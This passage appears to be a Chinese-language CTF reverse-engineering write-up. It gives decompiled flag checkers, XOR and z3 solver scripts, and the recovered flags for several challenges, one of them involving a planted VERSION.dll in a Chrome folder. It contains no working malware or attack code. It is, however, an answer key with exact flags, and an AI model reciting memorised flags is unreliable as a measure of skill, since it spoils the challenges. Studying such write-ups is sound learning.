_DWORD __dst[40]; // [xsp+18h] [xbp-A8h] BYREF
printf("by: ShallowFeather\n");
printf("Idea: From FlareOn-11\n");
memcpy(__dst, &unk_100003F08, sizeof(__dst));
for ( i = 0; i < 40; ++i )
printf("%c", __dst[i] ^ 0x87u);
return 0;
}
```
就找到對應東西去 xor:
```python
def xor(a: bytes, b: bytes):
return bytes(x ^ y for x, y in zip(a, b))
data = bytes.fromhex("D3000000D4000000C4000000FC000000E1000000B6000000E6000000F5000000B3000000C8000000E9000000B6000000B6000000D8000000B0000000D8000000F2000000D8000000E4000000C6000000C9000000D8000000E4000000EF000000B3000000E4000000EC000000D8000000EB000000F3000000D8000000B7000000F2000000F3000000A6000000A6000000A6000000A6000000A6000000FA000000")\
data = bytes(xor(data, b"\x87" * 40 * 4)[i] for i in range(40 * 4) if i % 4 == 0)
print(data)
# TSC{f1ar4On11_7_u_cAN_ch4ck_lt_0ut!!!!!}
```
### Real Chrome
這題是給了一個 chrome,會在 `Application` 下看到一個奇怪的 `VERSION.dll`,在 `DLLMain` 中會執行一些東西。
動態下來看,他去讀了 `flag.txt` 並且經過一個 flag checker:
```cpp
bool __fastcall sub_180001770(char *a1)
{
int v1; // edi
int v2; // edx
int v3; // ebx
int v4; // r10d
int v5; // esi
int v6; // r11d
int v7; // r14d
int v8; // r8d
int v9; // r9d
int v10; // ebp
int v11; // r12d
int v12; // r15d
int v13; // r13d
int v14; // ebx
int v15; // edx
int v16; // r12d
int v17; // r13d
int v18; // r14d
int v19; // eax
int v20; // r12d
int v21; // r10d
int v22; // r12d
int v23; // r8d
int v24; // edi
int v25; // r15d
int v26; // ebx
int v27; // esi
int v28; // edx
int v30; // [rsp+0h] [rbp-98h]
int v31; // [rsp+4h] [rbp-94h]
int v32; // [rsp+8h] [rbp-90h]
int v33; // [rsp+Ch] [rbp-8Ch]
int v34; // [rsp+10h] [rbp-88h]
int v35; // [rsp+14h] [rbp-84h]
int v36; // [rsp+18h] [rbp-80h]
int v37; // [rsp+1Ch] [rbp-7Ch]
int v38; // [rsp+20h] [rbp-78h]
int v39; // [rsp+24h] [rbp-74h]
int v40; // [rsp+28h] [rbp-70h]
int v41; // [rsp+2Ch] [rbp-6Ch]
int v42; // [rsp+30h] [rbp-68h]
int v43; // [rsp+34h] [rbp-64h]
int v44; // [rsp+3Ch] [rbp-5Ch]
int v45; // [rsp+44h] [rbp-54h]
int v46; // [rsp+48h] [rbp-50h]
int v47; // [rsp+A0h] [rbp+8h]
int v48; // [rsp+A8h] [rbp+10h]
int v49; // [rsp+B0h] [rbp+18h]
int v50; // [rsp+B8h] [rbp+20h]
v1 = a1[9];
v2 = a1[24];
v31 = a1[26];
v47 = v1;
if ( v31 + v1 + v2 != 331 )
return 0;
v3 = a1[20];
v4 = a1[14];
v39 = a1[21];
v42 = v3;
if ( v39 + v4 + v3 != 230 )
return 0;
v5 = a1[18];
v6 = a1[23];
v49 = *a1;
if ( v6 + v5 + v49 != 313 )
return 0;
v7 = a1[8];
v8 = a1[28];
v37 = v7;
if ( v4 + v7 + v8 != 267 )
return 0;
v9 = a1[6];
v10 = a1[10];
v43 = a1[4];
if ( v10 + v9 + v43 != 249 )
return 0;
v34 = a1[16];
v36 = a1[3];
if ( v6 + v36 + v34 != 342 )
return 0;
v11 = a1[35];
v40 = v11;
if ( v5 + v11 + v9 != 284 )
return 0;
v12 = a1[13];
v13 = a1[33];
v45 = a1[7];
v32 = v12;
if ( v13 + v12 + v45 != 205 )
return 0;
if ( v13 + 2 * v3 != 301 )
return 0;
v38 = a1[30];
v14 = a1[5];
v46 = a1[15] + v38;
if ( v14 + v46 != 209 )
return 0;
v48 = a1[32];
if ( v2 + v6 + v48 != 357 )
return 0;
v50 = a1[34];
if ( v9 + v11 + v50 != 272 )
return 0;
if ( v8 + v13 + a1[4] != 315 )
return 0;
if ( v7 + a1[15] + a1[16] != 280 )
return 0;
if ( a1[30] + 2 * v13 != 317 )
return 0;
v15 = a1[11];
v16 = a1[32];
v33 = v15;
if ( a1[7] + v15 + v16 != 215 )
return 0;
if ( v5 + v15 + v9 != 210 )
return 0;
v17 = a1[17];
if ( a1[3] + v14 + v17 != 245 )
return 0;
v18 = a1[31];
v19 = v18 + v16;
v20 = a1[20];
if ( v20 + v19 != 325 )
return 0;
v30 = a1[27];
if ( v9 + v30 + a1[34] != 244 )
return 0;
v41 = v12 + v1;
v35 = a1[2];
v21 = a1[14];
if ( v12 + v1 + v35 != 224 )
return 0;
if ( v20 + v21 + a1[7] != 188 )
return 0;
if ( v6 + v10 + v17 != 292 )
return 0;
v22 = a1[1];
if ( v5 + v22 + v8 != 297 )
return 0;
v23 = a1[29];
if ( v6 + v23 + v22 == 299
&& v12 + v23 + v18 == 257
&& v9 + v17 + a1[16] == 222
&& v1 + v12 + v17 == 230
&& (v44 = a1[26] + a1[33], a1[15] + v44 == 280)
&& v31 + v6 + a1[21] == 310
&& v1 + v12 + v6 == 276
&& (v24 = a1[22], v6 + v24 + a1[8] == 353)
&& v14 + 2 * v17 == 195
&& (v25 = a1[25], v26 = a1[12], v47 + v26 + v25 == 298)
&& (v27 = a1[18], v6 + a1[4] + a1[35] == 344)
&& v27 + a1[27] + a1[35] == 332
&& (v28 = a1[19], v9 + v28 + v30 == 249)
&& v48 + v30 + v33 == 267
&& v21 + v33 + v48 == 218
&& v21 + v49 + v50 == 230
&& v33 + v30 + v17 == 221
&& v37 + v10 + v48 == 334
&& v50 + v26 + v18 == 304
&& v22 + v38 + v50 == 276
&& v39 + v26 + v23 == 279
&& v34 + 2 * v24 == 338
&& v31 + v49 + v40 == 313
&& v37 + v18 + v10 == 326
&& v21 + v18 + v27 == 269
&& v47 + v27 + v32 == 267
&& v50 + v23 + v35 == 262
&& v17 + v23 + v30 == 267
&& v35 + v25 + v23 == 259
&& v10 + v28 + v35 == 270
&& v41 + v49 == 241
&& v21 + v34 + v33 == 199
&& v42 + 2 * v36 == 341
&& v21 + v43 + v36 == 271
&& v10 + v25 + v32 == 244
&& v10 + v28 + a1[15] == 268
&& v6 + v44 == 334
&& v27 + v38 + v50 == 303
&& v18 + 2 * v21 == 207
&& v31 + v23 + v10 == 301
&& a1[33] + v18 + v48 == 341
&& v21 + v17 + v49 == 205
&& v32 + v28 + v26 == 247
&& v46 + v45 == 205 )
{
return v47 + v35 + v6 == 294;
}
else
{
return 0;
}
}
```
這個東西可以很簡單的用 z3 去解出來:
```python
data = """ v1 = a1[9];
v2 = a1[24];
v31 = a1[26];
v47 = v1;
if ( v31 + v1 + v2 != 331 )
return 0;
v3 = a1[20];
v4 = a1[14];
v39 = a1[21];
v42 = v3;
if ( v39 + v4 + v3 != 230 )
return 0;
v5 = a1[18];
v6 = a1[23];
v49 = a1[0];
if ( v6 + v5 + v49 != 313 )
return 0;
v7 = a1[8];
v8 = a1[28];
v37 = v7;
if ( v4 + v7 + v8 != 267 )
return 0;
v9 = a1[6];
v10 = a1[10];
v43 = a1[4];
if ( v10 + v9 + v43 != 249 )
return 0;
v34 = a1[16];
v36 = a1[3];
if ( v6 + v36 + v34 != 342 )
return 0;
v11 = a1[35];
v40 = v11;
if ( v5 + v11 + v9 != 284 )
return 0;
v12 = a1[13];
v13 = a1[33];
v45 = a1[7];
v32 = v12;
if ( v13 + v12 + v45 != 205 )
return 0;
if ( v13 + 2 * v3 != 301 )
return 0;
v38 = a1[30];
v14 = a1[5];
v46 = a1[15] + v38;
if ( v14 + v46 != 209 )
return 0;
v48 = a1[32];
if ( v2 + v6 + v48 != 357 )
return 0;
v50 = a1[34];
if ( v9 + v11 + v50 != 272 )
return 0;
if ( v8 + v13 + a1[4] != 315 )
return 0;
if ( v7 + a1[15] + a1[16] != 280 )
return 0;
if ( a1[30] + 2 * v13 != 317 )
return 0;
v15 = a1[11];
v16 = a1[32];
v33 = v15;
if ( a1[7] + v15 + v16 != 215 )
return 0;
if ( v5 + v15 + v9 != 210 )
return 0;
v17 = a1[17];
if ( a1[3] + v14 + v17 != 245 )
return 0;
v18 = a1[31];
v19 = v18 + v16;
v20 = a1[20];
if ( v20 + v19 != 325 )
return 0;
v30 = a1[27];
if ( v9 + v30 + a1[34] != 244 )
return 0;
v41 = v12 + v1;
v35 = a1[2];
v21 = a1[14];
if ( v12 + v1 + v35 != 224 )
return 0;
if ( v20 + v21 + a1[7] != 188 )
return 0;
if ( v6 + v10 + v17 != 292 )
return 0;
v22 = a1[1];
if ( v5 + v22 + v8 != 297 )
return 0;
v23 = a1[29];
if ( v6 + v23 + v22 == 299
&& v12 + v23 + v18 == 257
&& v9 + v17 + a1[16] == 222
&& v1 + v12 + v17 == 230
&& (v44 = a1[26] + a1[33], a1[15] + v44 == 280)
&& v31 + v6 + a1[21] == 310
&& v1 + v12 + v6 == 276
&& (v24 = a1[22], v6 + v24 + a1[8] == 353)
&& v14 + 2 * v17 == 195
&& (v25 = a1[25], v26 = a1[12], v47 + v26 + v25 == 298)
&& (v27 = a1[18], v6 + a1[4] + a1[35] == 344)
&& v27 + a1[27] + a1[35] == 332
&& (v28 = a1[19], v9 + v28 + v30 == 249)
&& v48 + v30 + v33 == 267
&& v21 + v33 + v48 == 218
&& v21 + v49 + v50 == 230
&& v33 + v30 + v17 == 221
&& v37 + v10 + v48 == 334
&& v50 + v26 + v18 == 304
&& v22 + v38 + v50 == 276
&& v39 + v26 + v23 == 279
&& v34 + 2 * v24 == 338
&& v31 + v49 + v40 == 313
&& v37 + v18 + v10 == 326
&& v21 + v18 + v27 == 269
&& v47 + v27 + v32 == 267
&& v50 + v23 + v35 == 262
&& v17 + v23 + v30 == 267
&& v35 + v25 + v23 == 259
&& v10 + v28 + v35 == 270
&& v41 + v49 == 241
&& v21 + v34 + v33 == 199
&& v42 + 2 * v36 == 341
&& v21 + v43 + v36 == 271
&& v10 + v25 + v32 == 244
&& v10 + v28 + a1[15] == 268
&& v6 + v44 == 334
&& v27 + v38 + v50 == 303
&& v18 + 2 * v21 == 207
&& v31 + v23 + v10 == 301
&& a1[33] + v18 + v48 == 341
&& v21 + v17 + v49 == 205
&& v32 + v28 + v26 == 247
&& v46 + v45 == 205 )
{
return v47 + v35 + v6 == 294;
}
"""
import re
data = data.replace(" && ", "")
data = data.replace("if ( ", "")
data = data.replace(")", "")
data = data.replace(", ", "\n")
data = data.replace("(", "")
data = data.replace(" return 0;\n", "")
data = data.replace(" return ", "")
data = data.replace("{\n", "")
data = data.replace("}\n", "")
data = data.replace("else\n}", "")
data = data.replace(";", "")
data = data.replace(" ", "")
data = data.replace(" != ", " == ")
# print(data)
k = re.findall(r"v[0-9]* = [^\n]*\n", data)
k.sort(key=lambda x: int(x.split(" = ")[0][1:]), reverse=True)
# print(k)
for i in k:
a, b = i.strip().split(" = ")
data = data.replace(i, "")
data = data.replace(a, b)
data = data.split("\n")[:-1]
from z3 import *
data = [i for i in data if "*" not in i]
s = Solver()
a1 = [BitVec(f"a1[{i}]", 8) for i in range(36)]
for i in data:
s.add(eval(i))
# print(eval(i))
# print(i)
s.check()
model = s.model()
for i in a1:
print(chr(model[i].as_long()), end="")
#TSC{d11-sld3_10AdIng_Wwww_haha_owob}
```
### What_Happened
這題算是通靈出來的,他有個 encrypt flag,然後我發現把他每個 byte 都 xor `\xaa` 就出來了
```python
def xor(a: bytes, b: bytes):
return bytes(x ^ y for x, y in zip(a, b))
ct = bytes.fromhex("FEF9E9D1E3F5FEC2C3C4C1F5D3C5DFF5ECC3D2F598C5C7CFF599D8D8C5D8D7")
print(xor(ct, b"\xaa" * len(ct)))
# TSC{I_Think_you_Fix_2ome_3rror}
```
### Chill Checker
他給了一個 complex_function:
```cpp
unsigned int complex_function(int a1, int a2)
{
if ( a1 <= 64 || a1 > 90 )
{
puts("Go to reverse, please.");
exit(1);
}
return (unsigned int)((a1 - 65 + 31 * a2) % 26 + 65);
}
```
把它倒過來寫拿到輸入:
```cpp
#include<bits/stdc++.h>
using namespace std;
string s = "SGZIYIHW";
string out = "";
int main(){
for(int i = 0; i <= 7; i++){
out.push_back(((s[i] - 65 - 31 * (i + 8)) % 26 + 26) % 26 + 65);
cout << ((s[i] - 65 - 31 * (i + 8)) % 26 + 26) % 26 + 65 << "\n";
}
cout << out;
}
```
然後執行時輸入 code,就能拿到 flag: `TSC{t4k3_1t_3a$y}`
### Gateway to the Reverse
```cpp
printf("\nEnter the access key: ");
__isoc99_scanf("%99s", s1);
sub_13D0(v4, s2);
if ( !strcmp(s1, s2) ){
...
}
```
就直接動態去看 `s2` 的值就好:
